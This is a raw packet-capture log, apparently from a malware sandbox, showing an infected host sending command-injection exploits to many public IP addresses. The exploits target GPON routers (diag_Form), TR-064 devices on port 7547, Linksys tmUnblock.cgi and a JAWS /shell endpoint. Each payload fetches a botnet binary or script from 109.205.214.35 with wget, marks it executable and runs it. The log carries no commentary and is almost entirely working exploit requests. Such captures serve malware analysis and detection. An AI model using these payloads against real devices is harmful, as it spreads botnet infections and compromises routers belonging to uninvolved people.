Mar 21, 2024 05:26:12.179122925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.23	50884	2.127.127.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179138899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.23	50690	2.7.238.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179349899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.23	46838	91.197.142.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.263473988 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:12.426781893 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:12 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.23	39504	72.178.224.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.291899920 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:12.449847937 CET	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:26:13 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.23	52924	5.180.233.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.309241056 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:12.482379913 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:12 GMT Server: Apache/2.4.56 (Debian) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 35 2e 31 37 38 2e 31 30 37 2e 32 35 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at 5.178.107.252 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.23	35846	81.151.14.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.345479012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.521547079 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.23	46708	54.162.84.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.404654026 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:12.499516010 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:26:12 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.23	35172	34.43.23.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.470941067 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.23	36130	81.151.14.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.520900965 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.702086926 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.23	46388	179.153.183.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.612296104 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.23	33340	172.65.140.157	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.174506903 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.23	57022	5.7.63.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209717035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.23	49362	37.152.138.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209753990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.23	60588	210.238.223.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209791899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.23	37036	79.3.147.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209808111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.23	43172	79.106.216.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209811926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.23	34994	79.135.92.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.209811926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.23	51400	78.185.217.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.409387112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.637980938 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.870048046 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:26:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
